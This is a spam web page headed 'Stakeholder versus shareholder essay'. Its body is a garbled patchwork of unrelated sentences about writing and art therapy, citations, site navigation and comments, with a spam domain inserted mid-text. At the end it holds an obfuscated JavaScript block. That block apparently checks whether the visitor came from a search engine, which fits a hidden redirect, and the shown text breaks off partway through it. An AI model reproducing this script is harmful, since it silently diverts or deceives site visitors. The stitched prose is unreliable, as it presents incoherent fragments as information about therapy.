Stakeholder versus shareholder essay

Create a family tree of strength. I can tell this therapist absolutely anything. Even with this much knowledge there is much about addiction which remains mysterious; it is not possible to accurately judge who, from a group of people, are likely to become addicted. Assistant Clinical Professor Krista Rompolski, PhD received a fellowship: Baiada carried him back into his apartment and helped him get situated all the while Mr. Websites are very versatile ways to express yourself. More like play than therapy, writing in a confidential group helps develop emotional flexibility, trust, and the courage to design a life that makes sense. It was found that healthy young adults who wrote therapeutically caught fewer colds in the subsequent weeks and months. Primer in genetics and genomics, article 4 — Inheritance patterns. Article Learn How You Can Build Your Career as an Art Therapist. Where in his body was that physical sense of block? Nagging self-doubt was transformed by Susan’s approach. I appreciate this post and I just wanted to give my perspective on writing. Is there an animal that you have a special interest in or feel like is a kindred spirit? These DVDs provide a breath of musical fresh air for your residents. Lost by Dorothy Remo VA Media Center, San Antonio, TX Typist: Account More information Log in Register FOR THERAPIST. Seeing Inside the Heart with MRI Selective serotonin reuptake inhibitors SSRIs Serotonin and norepinephrine reuptake inhibitors SNRIs Sharing Alzheimer’s diagnosis Brain anatomy Sundowning: There is no doubt that pain and suffering are everywhere. Create a motivational Stakeholder versus shareholder essay collage. The college, university or program through which you earn your degree can likely tell you how many hours you must complete to become licensed. One consequence of writing ones story leads to an interest in the experience of others. In Innovations in Clinical Practice: Art therapy is the purposeful use of visual arts materials and media in intervention, counseling, psychotherapy, and rehabilitation; it is use with individuals of all ages, families, and groups Edwards, ; Malchiodi, Design a visual autobiography. Home Blog Articles Writing Therapy Course 0. Nature is harsh, unfair, and engaged in a constant struggle for survival. Academy of Management Journal , 37 , — June 17, at 2: How Women Really Feel About Sex. Using Poetry to Promote Talking and Healing Pooky Knightsmith, Foreword by Catherine Roche and Dr Fiona Pienaar Poetry can be a great way to get people talking about difficult issues around mental health. When you return to revisit the work, you can try to make some sense of the raw material. Request an Appointment Find a Doctor Find a Job Give Now. I write both to help heal but also because I love writing for an audience and have only just started to get the confidence to start sharing my work with the public. Let yourself be free. Key Fed official quits. We resonate with the themes in the stories, with the dilemmas and problems that superheroes face, and we aspire to their noble impulses and heroic acts. Dixon , MS, CTRS. In extending the paradigm to clinical settings, following as much of the traditional protocol as possible will make it more likely that health benefits will be achieved see also Batten, Many of these interventions take the form of classes where clients write on specific themes chosen by their therapist or counsellor. Indeed many writers do dictate pacing up and down and hearing as much as tasting their own words. Nordic Journal of Music Therapy , 26 4 , — Smith, ScD, health sciences teaching professor and department chair, Emily N. According to the AATA, creative art therapists are educated at the master’s level and are licensed to practice counseling in their state. More Articles [Writing Internships] Creative Writing Internships [Pay Scale] The Pay Scale for a Radiation Therapist [Someone Get] What Kind of Job Can Someone Get With a Creative Writing Degree? A growing body of scientific evidence confirms its holistic healing power. That person asks, “What do I write about that can heal me?

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Those who run their own therapy centers often attend to clients in the evenings and weekends. Content Current issue Archive. It was also instructed that should a participant run out of things to write, they should go back to the beginning and repeat themselves, perhaps writing a little differently. Each discipline has been applied in psychotherapy and counseling with individuals of all ages, particularly children, for more than 70 years. Enhancing the Group Experience: The subsequent suggestion that the beneficial effect of expressive writing is the development of a coherent narrative over time, reflecting increasing cognitive processing of the experience, is consistent with the literature on traumatic memory and trauma treatment e. Use your body as a canvas. America’s great disabled artists are legendary. Journal of Personality and Social Psychology , 71 , — Lost by Dorothy Remo VA Media Center, San Antonio, TX Typist: The resulting conflict may be uncomfortable for the client. The 90 quarter-credit curricula can be completed in two years on a full-time basis. I am pleased to see the recent dialogue regarding complementary practices to improve the life of those living with dementia, as well as those who love and care for them. Cut down on plastic bags. Leaves, sticks, dirt, clay and other natural materials can help you get in touch with the natural world and the more primal side of yourself. Best Places to Interview NEW! Honoring accomplishment and excellence continued as exceptional academic achievement was recognized. Toward an understanding of inhibition and disease. No feedback is given on the writing. Reblogged this on creativebentofmind and commented: Make art that is ephemeral. Transformation through Journal Writing The Art of Self-Reflection for the Helping Professions Jane Wood A personal record of reflections and experiences, a journal is an effective way to self-care and self-develop. The Writer’s Key Introducing Creative Solutions for Life Gillie Bolton The Writer’s Key introduces creative writing as a tool for self-reflection and personal and professional development. Many secondary treatments can be offered during rehab, including one on one and group therapies; the intent being to re-educate the addict while helping them physically give up the substance. This book explains how and why writing is such an illuminative and cathartic process, and provides many practical exercises that encourage the exploration of emotions, memories and experiences. Who could have guessed that. This is awesome and much needed! Benefits have also been found for post-operative course after papilloma resection Solano et al , and for primary care patients Klapow et al , ; Gidron et al , List 8 Psychology Careers That Involve Working With Kids. Master of Arts in Music Therapy and Counseling Study in the only music therapy program housed within an academic health center. This suggests that written disclosure may reduce the physiological stress on the body caused by inhibition, although it does not necessarily mean that disinhibition is the causal mechanism underlying these biological effects. All of your writing will be completely confidential. MaissiE Last modified by: It was in his hand. The strength of creative writing is that it can allow that barrier to be breached in a powerful but non-threatening way, which can be profoundly moving. Reblogged this on Michelle Kelly. Write on leaves to create a gratitude tree.

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July 1, at Of course writing a book is not necessarily confined to the literate. Find Find a Therapist Find a Psychiatrist Find a Support Group Find a Treatment Facility. This is an awesome post. Or is every painting dark, evil, and horrifying? It could help reveal more about your lens on the world. Switch to audio verification. Something has gone wrong with fathers; there is something either shameful or absent about them. To access your CE Tests, Redeem CE Points and other Account Features, Log In To Receive our Monthly Newsletter with Special Promotions, Sign-Up. July 26, at 9: JAMA , , Comment about this article, ask questions, or add new information about this topic: Start thinking about yourself as a strong, capable person by drawing yourself as a warrior in this activity. It has the ability to alter the mind, affect our behavior, emotions and our relationships with others. Then I came up with something far more chaotic but closer to the truth. As the whole point is to bring up issues that are emotionally charged, it is important to work out the best timing for the writing and to have a contingency plan if the patient becomes distressed. It has helped groups as diverse as Vietnam veterans, psychiatric prisoners and sex offenders to deal with personal trauma. Draw a place where you feel safe. National World War I Museum at Liberty Memorial W. For no one who succeeds has never failed. Her intellect and ability were in every sense larger than the disease. Perhaps if you did not regergitate others written words, and gain some knowledge of your own, you could have had an uplifting aid to many. Languages Norsk Edit links. Whether distance and reciprocal anonymity reduces or increases the level of transference has yet to be investigated. To examine it from various angles rather than simple to try to shift blame onto others. Inocencio said writing programs like The Beat Within allow a population without a voice to speak up. She says, “I have seen people greatly benefit by actively engaging in the arts, both viewing and creating. Expressive writing is generally associated with an immediate increase in negative affect, but this short-term distress does not appear to be detrimental or to pose a longer-term risk to participants Hockemeyer et al , For more information, please visit the Our Services page. A role ideal for those with an enthusiasm for alternative therapies who enjoy working practically and in close proximity with other people, a massage therapist uses their All were powerful accounts about major events in people’s lives but there are also people who can write magic about the making and breaking of daily routines and, for all I know, losing their slippers. Build a Journaling Practice! Get in touch with us. CWT Creative Writing Therapy was first introduced by Martyn Pentecost in as a range of tools and techniques to help people overcome deep-seated trauma through the creation of short stories, novels, and plays. Respond to this article. American Dance Therapy Association. This activity is based around a Piet Mondrian quote: Talking to Kids About Traumatic Events Chapter 4: Writing about traumatic, stressful or emotional events has been found to result in improvements in both physical and psychological health, in non-clinical and clinical populations. Not from a developmental theoretical framework that I have learnt about, but from a highly specific personal journey. This contributes to values-making by fostering respect for individuals, tolerance of difference and a deepening of compassion. Yasmine Awais, MAAT, ATR-BC, an assistant clinical professor in creative arts therapies, received a Drexel University, Teaching and Learning Conference Travel Award. Whilst the obvious cues of non-verbal communication are inevitably lost for both therapist and client in this style of interaction, the depth of feeling expressed by the client, frequently from the very outset of the process, can at times be quite intense. Message Body Your Name thought you would like to see this page from the BJPsych Advances web site.

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What was a pivotal memory in your childhood? Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store. Many of these interventions take the form of classes where clients write on specific themes chosen by their therapist or counsellor. Creative Writing for Therapeutic Purposes CWTP is a growing field of research and practice. A, an art therapist and early stage services manager for the Minnesota-North Dakota Alzheimer’s Association, says art stirs us in many ways. Journal of Nutrition and Health. Writing in Bereavement A Creative Handbook Jane Moss This practical creative handbook provides imaginative writing exercises for counsellors, volunteers and others working with the bereaved, and offers advice on how to plan and run effective group workshops and individual sessions. DaPra, This piece has helped me “get it” when it comes to writing my memoir. June 18, at A Year of Writing Exercises , The Last Diet You’ll Ever Need 4 Simple Steps to a Joy-Filled Life Pain Management Strategies from Mayo Clinic Stop Osteoporosis in its Tracks Protect and Preserve Your Vision. How does it work? This project is meant to offer you strength. A framework for the creative arts therapies. When looked at in comparison to your kids or your career or your existence as a whole, is it really even important? What People Are Saying Your Write to Wellbeing. Emotional expression and disease outcome. Relationships Low Sexual Desire Relationships Sex Emotion Management Anger Procrastination Stress. Overview Is TWI Right for You? Please contact the VVWP office at Vol 11 Issue 5. Integrative approaches involve two or more expressive therapies to foster awareness, encourage emotional growth, and enhance relationships with others. This book is a complete guide to using poetry for this purpose. Find a therapist What is therapy? The traditional treatments are useful in many cases however there are a wide number of newer, alternative therapies also available. As well as serving as a useful tool for personal development and emotional wellbeing, writing therapy has been found to assist the recovery of people experiencing mental health issues. Making Sense of the Hemispheres.

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July 18, at 3: One can dictate a book and have that transcribed. Products and Services Book: An exceptional program called the ARTZ embraces the wholeness that is inherent in each person, regardless of a diagnosis. EASY CEU Approved CEU for Senior Care Specialists and TR. Primer in genetics and genomics, article 4 — Inheritance patterns. A study by Harvey and Farrell in found that poor sleepers benefited from journaling in the evening. Although the empirical findings are at times equivocal and further research is required to clarify populations for whom writing is clearly effective, there is sufficient evidence for clinicians to begin applying expressive writing in therapeutic settings with caution. I recently completed a course through Glen Online. Other forms of expressive writing have also become quite widely recognised for their therapeutic benefits, including poetry therapy, free writing, dream journaling, autobiographical writing, bibliotherapy and a music-based approach to therapy known as proprioceptive writing. Paint an important childhood memory. Writing is about writing. CWT – Creative Writing Therapy – Official. This was very interesting. CT scan CT scans: No feedback marilynstore.000webhostapp.com is given on the writing. Singer, Storyteller, and Passionate Journaler. Often times this involves clients completing daily thought records, which require them to write down various pieces of information throughout the day, including distressing events, corresponding thoughts and feelings, as well as ratings of moods. What People Are Saying On the inside, you’ll fill it with things that represent who you are. August 18, at 9: Why is my memory so clear in sometimes forensic detail about those days, and yet most have flown by with little or no recollection? Journal of Personality and Social Psychology , 71 , — Complete the required coursework. This is a highly personal project that will help connect you with your spiritual side and honor your resilience. In addition, it seems that incorporating both the cognitive and the emotional components of the experience i. Jones, clearly agitated, ranted about his frustration. This program includes a yearlong practicum that is supervised by licensed mental health professionals. National World War I Museum at Liberty Memorial W.

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Article How to Become a Registered Dietitian. BGP Alzheimers stops where creativity begins. Mayo Clinic Store Check out these best-sellers and special offers on books and newsletters from Mayo Clinic. Recovering Your Health and Rebuilding Your Immunity. On the outside of a paper bag, you’ll create a self-portrait. With a PhD and extensive work experience, you can be hired to teach expressive therapy courses in colleges and universities. Journals don’t have to just be based around words. Read here for more info. Toby Messer Ad Dip PC 16th August, The Hardest Word The ability to say no is crucial for mental health and self-confidence. Writing helps getting rid of the monkey brain. Everyone can have a new start in life. Daily Health Tips to Your Inbox. Writing also provided an escape from my grief and a small way to raise the dead. Emma Norton in Kaleidoscope: The 10 Best Office Pets Every Workplace Needs. But that kind of raw, unflinching honesty, harnessed and released in the right way, can do amazing things. June 17, at 1: That theme, so deeply embedded in the curriculum of all the programs in the College, was highlighted in the speeches given by student speaker Kimberly Allen and Sueann Navarez-Brown and David Baiada, who delivered the commencement address. Indeed, Spiegel noted that a drug intervention reporting medium effect sizes similar to those found for expressive writing Smyth, would be regarded as a major medical advance. When you return to revisit the work, you can try to make some sense of the raw material. She teaches writing at the University of Wisconsin—Green Bay and the June 20, at 6: About the journal About BJPsych Advances Editorial board Peer review Permissions and reprints Subscription information Contact us. Replies to my comment. Proponents of such programs believe not only can creative writing play a huge role in the rehabilitation of young offenders; they additionally serve as opportunities to instill both a sense of empowerment and consistency to a juvenile population frequently considered downtrodden and unstable. Think about how you felt when you had to tear up the first painting and which you like more. Journal of Abnormal Psychology , , — At the end of each module is a tutor-marked assignment, which students complete and submit to their personal tutor. A growing body of evidence is supporting much of Tucker’s work and passion. When you are a professional writer, who wants his writing to improve with each written piece, you are looking forward to acquiring new skills and making your prose as good as it can be. Tips for Parents, Students, and Teachers Starting the New School Year. Your thoughts can flow uninterrupted.

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9k1nl1i

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,51,52,56,113,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,83,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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